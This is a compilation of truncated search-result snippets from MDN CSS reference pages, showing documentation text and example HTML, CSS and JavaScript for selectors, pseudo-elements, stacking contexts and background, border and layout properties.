... html <ul> <li>buy milk</li> <li>take the dog for a walk</li> <li>exercise</li> <li>write code</li> <li>play music</li> <li>relax</li> </ul> css li { list-style-type: none; position: relative; margin: 2px; padding: 0.5em 0.5em 0.5em 2em;
background: lightgrey; font-family: sans-serif; } li.done {
background: #ccff99; } li.done::before { content: ''; position: absolute; border-color: #009933; border-style: solid; border-width: 0 0.3em 0.25em 0; height: 1em; top: 1.3em; left: 0.6em; margin-top: -1em; transform: rotate(45deg); width: 0.5em; } javascript var list = document.queryselector('ul'); list.addeventlistener('click', function(ev) { if (ev.target.tag...
::cue-region - CSS: Cascading Style Sheets
the only exception is that
background and its shorthand properties apply to each cue individually, to avoid creating boxes and obscuring unexpectedly large areas of the media.
... syntax ::cue-region | ::cue-region( <selector> ) permitted properties rules whose selectors include this element may only use the following css properties:
background background-attachment
background-clip
background-color
background-image
background-origin
background-position
background-repeat
background-size color font font-family font-size font-stretch font-style font-variant font-weight line-height opacity outline outline-color outline-style outline-width ruby-position text-combine-upright text-decoration text-decoration-color text-decoration-line text-decoration-style text-decoration-thickness text-shadow visibility white-space specifications specification status comment webvtt: the web video text tracks formatthe definition of...
::first-letter (:first-letter) - CSS: Cascading Style Sheets
ith the ::first-letter pseudo-element: all font properties : font, font-style, font-feature-settings, font-kerning, font-language-override, font-stretch, font-synthesis, font-variant, font-variant-alternates, font-variant-caps, font-variant-east-asian, font-variant-ligatures, font-variant-numeric, font-variant-position, font-weight, font-size, font-size-adjust, line-height and font-family all
background properties :
background,
background-color,
background-image,
background-clip,
background-origin,
background-position,
background-repeat,
background-size,
background-attachment, and
background-blend-mode all margin properties: margin, margin-top, margin-right, margin-bottom, margin-left all padding properties: padding, padding-top, padding-right, padding-bottom, padding-left all border properti...
...stet clita kasd gubergren, no sea takimata sanctus est.</p> <p>duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.</p> css p { width: 500px; line-height: 1.5; } h2 + p::first-letter { color: white;
background-color: black; border-radius: 2px; box-shadow: 3px 3px 0 red; font-size: 250%; padding: 6px 3px; margin-right: 6px; float: left; } result effect on special punctuation and non-latin characters this example illustrates the effect of ::first-letter on special punctuation and non-latin characters.
::placeholder - CSS: Cascading Style Sheets
it is important to ensure that the contrast ratio between the color of the placeholder text and the
background of the input is high enough that people experiencing low vision conditions will be able to read it while also making sure there is enough of a difference between the placeholder text and input text color that users do not mistake the placeholder for inputed data.
... color contrast ratio is determined by comparing the luminosity of the placeholder text and the input
background color values.
:active - CSS: Cascading Style Sheets
syntax :active examples active links html <p>this paragraph contains a link: <a href="#">this link will turn red while you click on it.</a> the paragraph will get a gray
background while you click on it or the link.
... </p> css a:link { color: blue; } /* unvisited links */ a:visited { color: purple; } /* visited links */ a:hover {
background: yellow; } /* hovered links */ a:active { color: red; } /* active links */ p:active {
background: #eee; } /* active paragraphs */ result active form elements html <form> <label for="my-button">my button: </label> <button id="my-button" type="button">try clicking me or my label!</button> </form> css form :active { color: red; } form button {
background: white; } result specifications specification status comment html living standardthe definition of ':active' in that specification.
:checked - CSS: Cascading Style Sheets
ore text]</td><td>[more text]</td><td>[more text]</td></tr> <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr> </tbody> </table> <label for="expand-toggle" id="expand-btn">toggle hidden rows</label> css /* hide the toggle checkbox */ #expand-toggle { display: none; } /* hide expandable content by default */ .expandable { visibility: collapse;
background: #ddd; } /* style the button */ #expand-btn { display: inline-block; margin-top: 12px; padding: 5px 11px;
background-color: #ff7; border: 1px solid; border-radius: 3px; } /* show hidden content when the checkbox is checked */ #expand-toggle:checked ~ * .expandable { visibility: visible; } /* style the button when the checkbox is checked */ #expand-toggle:checked ~ #expand-btn { ...
...
background-color: #ccc; } result image gallery you can use the :checked pseudo-class to build an image gallery with full-size images that show only when the user clicks on a thumbnail.
:dir() - CSS: Cascading Style Sheets
/* selects any element with right-to-left text */ :dir(rtl) {
background-color: red; } the :dir() pseudo-class uses only the semantic value of the directionality, i.e., the one defined in the document itself.
... formal syntax :dir( ltr | rtl ) examples html <div dir="rtl"> <span>test1</span> <div dir="ltr">test2 <div dir="auto">עִבְרִית</div> </div> </div> css :dir(ltr) {
background-color: yellow; } :dir(rtl) {
background-color: powderblue; } result specifications specification status comment html living standardthe definition of ':dir(ltr)' in that specification.
:disabled - CSS: Cascading Style Sheets
/* selects any disabled <input> */ input:disabled {
background: #ccc; } syntax :disabled examples this example shows a basic shipping form.
...g"> <legend>billing address</legend> <label for="billing-checkbox">same as shipping address:</label> <input type="checkbox" id="billing-checkbox" checked> <br> <input type="text" placeholder="name" disabled> <input type="text" placeholder="address" disabled> <input type="text" placeholder="zip code" disabled> </fieldset> </form> css input[type="text"]:disabled {
background: #ccc; } javascript // wait for the page to finish loading document.addeventlistener('domcontentloaded', function () { // attach `change` event listener to checkbox document.getelementbyid('billing-checkbox').onchange = togglebilling; }, false); function togglebilling() { // select the billing text fields var billingitems = document.queryselectorall('#billing input[type="text"]'); ...
:empty - CSS: Cascading Style Sheets
/* selects any <div> that contains no content */ div:empty {
background: lime; } syntax :empty examples html <div class="box"><!-- i will be lime.
...--></p> </div> css body { display: flex; justify-content: space-around; } .box {
background: pink; height: 80px; width: 80px; } .box:empty {
background: lime; } result accessibility concerns assistive technology such as screen readers cannot parse interactive content that is empty.
:focus-within - CSS: Cascading Style Sheets
(this includes descendants in shadow trees.) /* selects a <div> when one of its descendants is focused */ div:focus-within {
background: cyan; } this selector is useful, to take a common example, for highlighting an entire <form> container when the user focuses on one of its <input> fields.
... html <p>try typing into this form.</p> <form> <label for="given_name">given name:</label> <input id="given_name" type="text"> <br> <label for="family_name">family name:</label> <input id="family_name" type="text"> </form> css form { border: 1px solid; color: gray; padding: 4px; } form:focus-within {
background: #ff8; color: black; } input { margin: 4px; } result specifications specification status comment selectors level 4the definition of ':focus-within' in that specification.
:in-range - CSS: Cascading Style Sheets
/* selects any <input>, but only when it has a range specified, and its value is inside that range */ input:in-range {
background-color: rgba(0, 255, 0, 0.25); } this pseudo-class is useful for giving the user a visual indication that a field's current value is within the permitted limits.
... <li> <input id="value1" name="value1" type="number" placeholder="1 to 10" min="1" max="10" value="12"> <label for="value1">your value is </label> </li> </ul> </form> css li { list-style: none; margin-bottom: 1em; } input { border: 1px solid black; } input:in-range {
background-color: rgba(0, 255, 0, 0.25); } input:out-of-range {
background-color: rgba(255, 0, 0, 0.25); border: 2px solid red; } input:in-range + label::after { content: 'okay.'; } input:out-of-range + label::after { content: 'out of range!'; } result specifications specification status comment html living standardthe definition of ':in-range' in that specificat...
:indeterminate - CSS: Cascading Style Sheets
/* selects any <input> whose state is indeterminate */ input:indeterminate {
background: lime; } elements targeted by this selector are: <input type="checkbox"> elements whose indeterminate property is set to true by javascript <input type="radio"> elements, when all radio buttons with the same name value in the form are unchecked <progress> elements in an indeterminate state syntax :indeterminate examples checkbox & radio button this example applies special styles to the labels associated wit...
... html <div> <input type="checkbox" id="checkbox"> <label for="checkbox">this label starts out lime.</label> </div> <div> <input type="radio" id="radio"> <label for="radio">this label starts out lime.</label> </div> css input:indeterminate + label {
background: lime; } javascript var inputs = document.getelementsbytagname("input"); for (var i = 0; i < inputs.length; i++) { inputs[i].indeterminate = true; } progress bar html <progress> css progress { margin: 4px; } progress:indeterminate { opacity: 0.5;
background-color: lightgray; box-shadow: 0 0 2px 1px red; } result specifications specification status comment html living standardthe definition of ':indeterminate' in that specification.
:invalid - CSS: Cascading Style Sheets
/* selects any invalid <input> */ input:invalid {
background-color: pink; } this pseudo-class is useful for highlighting field errors for the user.
...rm> <div class="field"> <label for="url_input">enter a url:</label> <input type="url" id="url_input"> </div> <div class="field"> <label for="email_input">enter an email address:</label> <input type="email" id="email_input" required> </div> </form> css label { display: block; margin: 1px; padding: 1px; } .field { margin: 1px; padding: 1px; } input:invalid {
background-color: #ffdddd; } form:invalid { border: 5px solid #ffdddd; } input:valid {
background-color: #ddffdd; } form:valid { border: 5px solid #ddffdd; } input:required { border-color: #800000; border-width: 3px; } input:required:invalid { border-color: #c00000; } result accessibility concerns the color red is commonly used to indicate invalid input.
:link - CSS: Cascading Style Sheets
(after that, you'll need to clear your browser history to see them again.) however, the
background-color values are likely to remain, as most browsers do not set that property on visited links by default.
... html <a href="#ordinary-target">this is an ordinary link.</a><br> <a href="">you've already visited this link.</a><br> <a>placeholder link (won't get styled)</a> css a:link {
background-color: gold; color: green; } result specifications specification status comment html living standardthe definition of ':link' in that specification.
:out-of-range - CSS: Cascading Style Sheets
/* selects any <input>, but only when it has a range specified, and its value is outside that range */ input:out-of-range {
background-color: rgba(255, 0, 0, 0.25); } this pseudo-class is useful for giving the user a visual indication that a field's current value is outside the permitted limits.
...ge examples html <form action="" id="form1"> <p>values between 1 and 10 are valid.</p> <ul> <li> <input id="value1" name="value1" type="number" placeholder="1 to 10" min="1" max="10" value="12"> <label for="value1">your value is </label> </li> </ul> </form> css li { list-style: none; margin-bottom: 1em; } input { border: 1px solid black; } input:in-range {
background-color: rgba(0, 255, 0, 0.25); } input:out-of-range {
background-color: rgba(255, 0, 0, 0.25); border: 2px solid red; } input:in-range + label::after { content: 'okay.'; } input:out-of-range + label::after { content: 'out of range!'; } result specifications specification status comment html living standardthe definition of ':out-of-range' in that specif...
:visited - CSS: Cascading Style Sheets
styling restrictions for privacy reasons, browsers strictly limit which styles you can apply using this pseudo-class, and how they can be used: allowable css properties are color,
background-color, border-color, border-bottom-color, border-left-color, border-right-color, border-top-color, column-rule-color, outline-color, text-decoration-color, and text-emphasis-color.
... html <a href="#test-visited-link">have you visited this link yet?</a><br> <a href="">you've already visited this link.</a> css a { /* specify non-transparent defaults to certain properties, allowing them to be styled with the :visited state */
background-color: white; border: 1px solid white; } a:visited {
background-color: yellow; border-color: hotpink; color: hotpink; } result specifications specification status comment html living standardthe definition of ':visited' in that specification.
aspect-ratio - CSS: Cascading Style Sheets
</div> css /* minimum aspect ratio */ @media (min-aspect-ratio: 8/5) { div {
background: #9af; /* blue */ } } /* maximum aspect ratio */ @media (max-aspect-ratio: 3/2) { div {
background: #9ff; /* cyan */ } } /* exact aspect ratio, put it at the bottom to avoid override*/ @media (aspect-ratio: 1/1) { div {
background: #f9a; /* red */ } } _example used iframe and dataurl to enable this iframe could resize html <label id="wf" for="w">width:165</label> <input...
... id="w" name="w" type="range" min="100" max="250" step="5" value="165"> <label id="hf" for="w">height:165</label> <input id="h" name="h" type="range" min="100" max="250" step="5" value="165"> <iframe id="outer" src="data:text/html,<style> @media (min-aspect-ratio: 8/5) { div {
background: %239af; } } @media (max-aspect-ratio: 3/2) { div {
background: %239ff; } } @media (aspect-ratio: 1/1) { div {
background: %23f9a; } }</style><div id='inner'> watch this element as you resize your viewport's width and height.</div>"> </iframe> css iframe{ display:block; } javascript outer.style.width=outer.style.height="165px" w.onchange=w.oninput=function(){ outer.style.width=w.value+"px" wf.textcontent="width:"+w.value } h.onchange=h.oninput=function(){ outer.style.height=h.value+"px" hf.textcont...
Attribute selectors - CSS: Cascading Style Sheets
examples links css a { color: blue; } /* internal links, beginning with "#" */ a[href^="#"] {
background-color: gold; } /* links with "example" anywhere in the url */ a[href*="example"] {
background-color: silver; } /* links with "insensitive" anywhere in the url, regardless of capitalization */ a[href*="insensitive" i] { color: cyan; } /* links with "case" anywhere in the url, with matching capitalization */ a[href*="case" s] { color: pink; } /* links that end in ".org" */ a[href$=".or...
...*/ ol[type="a"] { list-style-type: lower-alpha;
background: red; } ol[type="a" s] { list-style-type: lower-alpha;
background: lime; } ol[type="a" s] { list-style-type: upper-alpha;
background: lime; } html <ol type="a"> <li>example list</li> </ol> result specifications specification status comment selectors level 4the definition of 'attribute selectors' in that specification.
In Flow and Out of Flow - CSS: Cascading Style Sheets
i’ve added a
background colour to the paragraphs, and then floated the div left.
... you can see the
background colour of the following paragraph running underneath, it is only the line boxes of that paragraph that have been shortened to cause the effect of wrapping content around the float.
Consistent list indentation - CSS: Cascading Style Sheets
if we apply a
background color to the <ul> element and leave the list item and <ul> borders in place, we get the result shown in figure 5.
...we can only see the difference if we try to set a
background or border on the <ul> element.
Using z-index - CSS: Cascading Style Sheets
"abs2"> <b>div #4</b> <br />position: absolute; <br />z-index: 1; </div> <div id="sta1"> <b>div #5</b> <br />no positioning <br />z-index: 8; </div> css div { padding: 10px; opacity: 0.7; text-align: center; } b { font-family: sans-serif; } #abs1 { z-index: 5; position: absolute; width: 150px; height: 350px; top: 10px; left: 10px; border: 1px dashed #900;
background-color: #fdd; } #rel1 { z-index: 3; height: 100px; position: relative; top: 30px; border: 1px dashed #696;
background-color: #cfc; margin: 0px 50px 0px 50px; } #rel2 { z-index: 2; height: 100px; position: relative; top: 15px; left: 20px; border: 1px dashed #696;
background-color: #cfc; margin: 0px 50px 0px 50px; } #abs2 { z-index: 1; position: absolute; width...
...: 150px; height: 350px; top: 10px; right: 10px; border: 1px dashed #900;
background-color: #fdd; } #sta1 { z-index: 8; height: 70px; border: 1px dashed #996;
background-color: #ffc; margin: 0px 50px 0px 50px; } ...
Stacking context example 1 - CSS: Cascading Style Sheets
iv> </div> <br /> <div id="div3"> <br /><span class="bold">div #3</span> <br />position: relative; <div id="div4"> <br /><span class="bold">div #4</span> <br />position: absolute; <br />z-index: 2; </div> </div> </body></html> css .bold { font-weight: bold; font: 12px arial; } #div1, #div3 { height: 80px; position: relative; border: 1px dashed #669966;
background-color: #ccffcc; padding-left: 5px; } #div2 { opacity: 0.8; z-index: 1; position: absolute; width: 150px; height: 200px; top: 20px; left: 170px; border: 1px dashed #990000;
background-color: #ffdddd; text-align: center; } #div4 { opacity: 0.8; z-index: 2; position: absolute; width: 200px; height: 70px; top: 65px; left: 50px; ...
... border: 1px dashed #000099;
background-color: #ddddff; text-align: left; padding-left: 10px; } result ...
Stacking context example 3 - CSS: Cascading Style Sheets
example source code <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <html> <head><style type="text/css"> div { font: 12px arial; } span.bold { font-weight: bold; } div.lev1 { width: 250px; height: 70px; position: relative; border: 2px outset #669966;
background-color: #ccffcc; padding-left: 5px; } #container1 { z-index: 1; position: absolute; top: 30px; left: 75px; } div.lev2 { opacity: 0.9; width: 200px; height: 60px; position: relative; border: 2px outset #990000;
background-color: #ffdddd; padding-left: 5px; } #container2 { z-index: 1; position: absolute; top: 20px; left: 110px; } div.lev3 { z-in...
...dex: 10; width: 100px; position: relative; border: 2px outset #000099;
background-color: #ddddff; padding-left: 5px; } </style></head> <body> <br /> <div class="lev1"> <span class="bold">level #1</span> <div id="container1"> <div class="lev2"> <br /><span class="bold">level #2</span> <br />z-index: 1; <div id="container2"> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> ...
The stacking context - CSS: Cascading Style Sheets
z-index: 1;</code> </div> <div id="div6"> <h1>division element #6</h1> <code>position: absolute;<br/> z-index: 3;</code> </div> </div> css * { margin: 0; } html { padding: 20px; font: 12px/20px arial, sans-serif; } div { opacity: 0.7; position: relative; } h1 { font: inherit; font-weight: bold; } #div1, #div2 { border: 1px dashed #696; padding: 10px;
background-color: #cfc; } #div1 { z-index: 5; margin-bottom: 190px; } #div2 { z-index: 2; } #div3 { z-index: 4; opacity: 1; position: absolute; top: 40px; left: 180px; width: 330px; border: 1px dashed #900;
background-color: #fdd; padding: 40px 20px 20px; } #div4, #div5 { border: 1px dashed #996;
background-color: #ffc; } #div4 { z-index: 6; margin-bottom: 15px; padding: 25...
...px 10px 5px; } #div5 { z-index: 1; margin-top: 15px; padding: 5px 10px; } #div6 { z-index: 3; position: absolute; top: 20px; left: 180px; width: 150px; height: 125px; border: 1px dashed #009; padding-top: 125px;
background-color: #ddf; text-align: center; } result ...
CSS Tutorials - CSS: Cascading Style Sheets
using multiple
backgrounds
backgrounds are fundamental for nice styling: css allows you to set several of them on each box.
... scaling
background images css allows you to resize images used as an element's
background.
Visual formatting model - CSS: Cascading Style Sheets
you can see the difference between line boxes and their containing block if you float an item and then follow it by a block that has a
background color.
...the
background of the box runs behind the float, as the floated item has been taken out of flow.
align-content - CSS: Cascading Style Sheets
baseline<content-distribution> = space-between | space-around | space-evenly | stretch<overflow-position> = unsafe | safe<content-position> = center | start | end | flex-start | flex-end examples css #container { height:200px; width: 240px; align-content: center; /* can be changed in the live sample */
background-color: #8c8c8c; } .flex { display: flex; flex-wrap: wrap; } .grid { display: grid; grid-template-columns: repeat(auto-fill, 50px); } div > div { box-sizing: border-box; border: 2px solid #8c8c8c; width: 50px; display: flex; align-items: center; justify-content: center; } #item1 {
background-color: #8cffa0; min-height: 30px; } #item2 {
background-color: #a0c8ff; mi...
...n-height: 50px; } #item3 {
background-color: #ffa08c; min-height: 40px; } #item4 {
background-color: #ffff8c; min-height: 60px; } #item5 {
background-color: #ff8cff; min-height: 70px; } #item6 {
background-color: #8cffff; min-height: 50px; font-size: 30px; } select { font-size: 16px; } .row { margin-top: 10px; } html <div id="container" class="flex"> <div id="item1">1</div> <div id="item2">2</div> <div id="item3">3</div> <div id="item4">4</div> <div id="item5">5</div> <div id="item6">6</div> </div> <div class="row"> <label for="display">display: </label> <select id="display"> <option value="flex">flex</option> <option value="grid">grid</option> </select> </div> <div class="row"> <label for="values">align-content: </label> <select id="val...
align-items - CSS: Cascading Style Sheets
baseline<overflow-position> = unsafe | safe<self-position> = center | start | end | self-start | self-end | flex-start | flex-end examples css #container { height:200px; width: 240px; align-items: center; /* can be changed in the live sample */
background-color: #8c8c8c; } .flex { display: flex; flex-wrap: wrap; } .grid { display: grid; grid-template-columns: repeat(auto-fill, 50px); } div > div { box-sizing: border-box; border: 2px solid #8c8c8c; width: 50px; display: flex; align-items: center; justify-content: center; } #item1 {
background-color: #8cffa0; min-height: 30px; } #item2 {
background-color: #a0c8ff; mi...
...n-height: 50px; } #item3 {
background-color: #ffa08c; min-height: 40px; } #item4 {
background-color: #ffff8c; min-height: 60px; } #item5 {
background-color: #ff8cff; min-height: 70px; } #item6 {
background-color: #8cffff; min-height: 50px; font-size: 30px; } select { font-size: 16px; } .row { margin-top: 10px; } html <div id="container" class="flex"> <div id="item1">1</div> <div id="item2">2</div> <div id="item3">3</div> <div id="item4">4</div> <div id="item5">5</div> <div id="item6">6</div> </div> <div class="row"> <label for="display">display: </label> <select id="display"> <option value="flex">flex</option> <option value="grid">grid</option> </select> </div> <div class="row"> <label for="values">align-items: </label> <select id="values...
animation-timing-function - CSS: Cascading Style Sheets
<div class="easeout">ease-out</div> <div class="easeinout">ease-in-out</div> <div class="linear">linear</div> <div class="cb">cubic-bezier(0.2,-2,0.8,2)</div> </div> .parent > div[class] { animation-name: changeme; animation-duration: 10s; animation-iteration-count: infinite; margin-bottom: 4px; } @keyframes changeme { 0% { min-width: 12em; width: 12em;
background-color: black; border: 1px solid red; color: white; } 100% { width: 90vw; min-width: 24em;
background-color: magenta; color: yellow; border: 1px solid orange; } } .ease { animation-timing-function: ease; } .easein { animation-timing-function: ease-in; } .easeout { animation-timing-function: ease-out; } .easeinout { animation-timing-...
...one">jump-none</div> <div class="start">start</div> <div class="end">end</div> <div class="step-start">step-start</div> <div class="step-end">step-end</div> </div> .parent > div[class] { animation-name: changeme; animation-duration: 10s; animation-iteration-count: infinite; margin-bottom: 4px; } @keyframes changeme { 0% { min-width: 12em; width: 12em;
background-color: black; border: 1px solid red; color: white; } 100% { width: 90vw; min-width: 24em;
background-color: magenta; color: yellow; border: 1px solid orange; } } .jump-start { animation-timing-function: steps(5, jump-start); } .jump-end { animation-timing-function: steps(5, jump-end); } .jump-none { animation-timing-function: steps(5,...
backface-visibility - CSS: Cascading Style Sheets
r: none; } .cube { width: 100%; height: 100%; perspective: 550px; perspective-origin: 150% 150%; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front {
background: rgba(0, 0, 0, 0.3); transform: translatez(50px); } .back {
background: rgba(0, 255, 0, 1); color: black; transform: rotatey(180deg) translatez(50px); } .right {
background: rgba(196, 0, 0, 0.7); transform: rotatey(90deg) translatez(50px); } .left {
background: rgba(0, 0, 196, 0.7); transform: rotatey(-90deg) translatez(50px); } .top {
background: rgba(196, 196, 0, 0.7); t...
...ransform: rotatex(90deg) translatez(50px); } .bottom {
background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the table a little nicer */ th, p, td {
background-color: #eeeeee; margin: 0px; padding: 6px; font-family: sans-serif; text-align: left; } result specifications specification status comment css transforms level 2the definition of 'backface-visibility' in that specification.
border-bottom-left-radius - CSS: Cascading Style Sheets
a
background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the
background-clip property.
... the
background color is clipped at the border div { border-bottom-left-radius:40%; border-style: black 3px double;
background-color: rgb(250,20,70);
background-clip: content-box; } specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-bottom-left-radius' in that specification.
border-bottom-right-radius - CSS: Cascading Style Sheets
a
background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the
background-clip property.
... the
background color is clipped at the border div { border-bottom-right-radius:40%; border-style: black 3px double;
background-color: rgb(250,20,70);
background-clip: content-box; } specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-bottom-right-radius' in that specification.
border-bottom-style - CSS: Cascading Style Sheets
ne</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 3px;
background-color: #52e385; } tr, td { padding: 3px; } /* border-bottom-style example classes */ .b1 {border-bottom-style: none;} .b2 {border-bottom-style: hidden;} .b3 {border-bottom-style: dotted;} .b4 {border-bottom-style: dashed;} .b5 {border-bottom-style: solid;} .b6 {border-bottom-style: double;} .b7 {border-bottom-style: groove;} .b8 {border-bottom-style: ridge;} .b9 {border-bottom-style: inset;} .
...b10 {border-bottom-style: outset;} result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-bottom-style' in that specification.
border-left-style - CSS: Cascading Style Sheets
ne</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 2px;
background-color: #52e385; } tr, td { padding: 3px; } /* border-left-style example classes */ .b1 {border-left-style: none;} .b2 {border-left-style: hidden;} .b3 {border-left-style: dotted;} .b4 {border-left-style: dashed;} .b5 {border-left-style: solid;} .b6 {border-left-style: double;} .b7 {border-left-style: groove;} .b8 {border-left-style: ridge;} .b9 {border-left-style: inset;} .b10 {border-left-sty...
...le: outset;} result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-left-style' in that specification.
border-right-style - CSS: Cascading Style Sheets
ne</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 2px;
background-color: #52e385; } tr, td { padding: 3px; } /* border-right-style example classes */ .b1 {border-right-style: none;} .b2 {border-right-style: hidden;} .b3 {border-right-style: dotted;} .b4 {border-right-style: dashed;} .b5 {border-right-style: solid;} .b6 {border-right-style: double;} .b7 {border-right-style: groove;} .b8 {border-right-style: ridge;} .b9 {border-right-style: inset;} .b10 {borde...
...r-right-style: outset;} result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-right-style' in that specification.
border-top-left-radius - CSS: Cascading Style Sheets
a
background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the
background-clip property.
... an arc of ellipse is used as the border div { border-top-left-radius: 40px 20px; } the box is a square: an arc of circle is used as the border div { border-top-left-radius: 40%; } the box is not a square: an arc of ellipse is used as the border div { border-top-left-radius: 40%; } the
background color is clipped at the border div { border-top-left-radius:40%; border-style: black 3px double;
background-color: rgb(250,20,70);
background-clip: content-box; } specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-top-left-radius' in that specification.
border-top-right-radius - CSS: Cascading Style Sheets
a
background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the
background-clip property.
... the box is not a square: an arc of ellipse is used as the border div { border-top-right-radius: 40%; } the
background color is clipped at the border div { border-top-right-radius:40%; border-style: black 3px double;
background-color: rgb(250,20,70);
background-clip: content-box; } specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-top-right-radius' in that specification.
border-top-style - CSS: Cascading Style Sheets
ne</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 2px;
background-color: #52e385; } tr, td { padding: 3px; } /* border-top-style example classes */ .b1 {border-top-style: none;} .b2 {border-top-style: hidden;} .b3 {border-top-style: dotted;} .b4 {border-top-style: dashed;} .b5 {border-top-style: solid;} .b6 {border-top-style: double;} .b7 {border-top-style: groove;} .b8 {border-top-style: ridge;} .b9 {border-top-style: inset;} .b10 {border-top-style: outset;...
...} result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-top-style' in that specification.
box-shadow - CSS: Cascading Style Sheets
inset shadows are drawn inside the border (even transparent ones), above the
background, but below content.
... html <div><p>hello world</p></div> css p { box-shadow: 0 0 0 2em #f4aab9, 0 0 0 4em #66ccff; margin: 4em; padding:1em; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'box-shadow' in that specification.
clip-path - CSS: Cascading Style Sheets
er viewbox"> <svg viewbox="0 0 192 192"> <g class="shape9"> <rect x="24" y="24" width="144" height="144" /> <text x="96" y="91">i love</text> <text x="96" y="109" class="em">clipping</text> </g> </svg> </div> </div> </div> </div> </div> html,body { height: 100%; box-sizing: border-box;
background: #eee; } .grid { width: 100%; height: 100%; display: flex; font: 1em monospace; } .row { display: flex; flex: 1 auto; flex-direction: row; flex-wrap: wrap; } .col { flex: 1 auto; } .cell { margin: .5em; padding: .5em;
background-color: #fff; overflow: hidden; text-align: center; flex: 1; } .note {
background: #fff3d4; padding: 1em; margin: .5em .5em 0; f...
...rgin'; position: absolute; top: 2px; left: 2px; font: italic .6em sans-serif; } .viewbox { box-shadow: 1rem 1rem 0 #efefef inset, -1rem -1rem 0 #efefef inset; } .container.viewbox:after { content: 'viewbox'; position: absolute; left: 1.1rem; top: 1.1rem; font: italic .6em sans-serif; } .cell span { display: block; margin-bottom: .5em; } p { font-family: sans-serif;
background: #000; color: pink; margin: 2em; padding: 3em 1em; border: 1em solid pink; width: 6em; } .none { clip-path: none; } .svg { clip-path: url(#mypath); } .svg2 { clip-path: path('m15,45 a30,30,0,0,1,75,45 a30,30,0,0,1,135,45 q135,90,75,130 q15,90,15,45 z');} .shape1 { clip-path: circle(25%); } .shape2 { clip-path: circle(25% at 25% 25%); } .shape3 { clip-path: fill-box circle(25% at 25...
color - CSS: Cascading Style Sheets
accessibility concerns it is important to ensure that the contrast ratio between the color of the text and the
background the text is placed over is high enough that people experiencing low vision conditions will be able to read the content of the page.
... color contrast ratio is determined by comparing the luminosity of the text and
background color values.
display - CSS: Cascading Style Sheets
we've included padding and
background-color on the containers and their children, so that it is easier to see the effect the display values are having.
... <option>inline</option> <option>inline-block</option> <option>none</option> <option>flex</option> <option>inline-flex</option> <option>grid</option> <option>inline-grid</option> <option>table</option> <option>list-item</option> </select> </div> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; padding-top: 10px; } article {
background-color: red; } article span {
background-color: black; color: white; margin: 1px; } article, span { padding: 10px; border-radius: 7px; } article, div { margin: 20px; } javascript const articles = document.queryselectorall('.container'); const select = document.queryselector('select'); function updatedisplay() { articles.foreach((article) => { article.style.display = select.
gap (grid-gap) - CSS: Cascading Style Sheets
examples flex layout html <div id="flexbox"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #flexbox { display: flex; flex-wrap: wrap; width: 300px; gap: 20px 5px; } #flexbox > div { border: 1px solid green;
background-color: lime; flex: 1 1 auto; width: 100px; height: 50px; } result grid layout html <div id="grid"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #grid { grid-gap: 20px 5px; } #grid { display: grid; height: 200px; grid-template: repeat(3, 1fr) / repeat(3, 1fr); gap: 20px 5px; } ...
... #grid > div { border: 1px solid green;
background-color: lime; } result multi-column layout html <p class="content-box"> this is some multi-column text with a 40px column gap created with the css <code>gap</code> property.
image-set() - CSS: Cascading Style Sheets
examples
background-image: image-set( "cat.png" 1x, "cat-2x.png" 2x, "cat-print.png" 600dpi); this example shows how to use image-set() to provide two alternative
background-image options, chosen depending on the resolution needed: a normal version and a high-resolution version.
... accessibility concerns browsers do not provide any special information on
background images to assistive technology.
<image> - CSS: Cascading Style Sheets
css determines an object's concrete size using (1) its intrinsic dimensions; (2) its specified size, defined by css properties like width, height, or
background-size; and (3) its default size, determined by the kind of property the image is used with: kind of object (css property) default object size
background-image the size of the element's
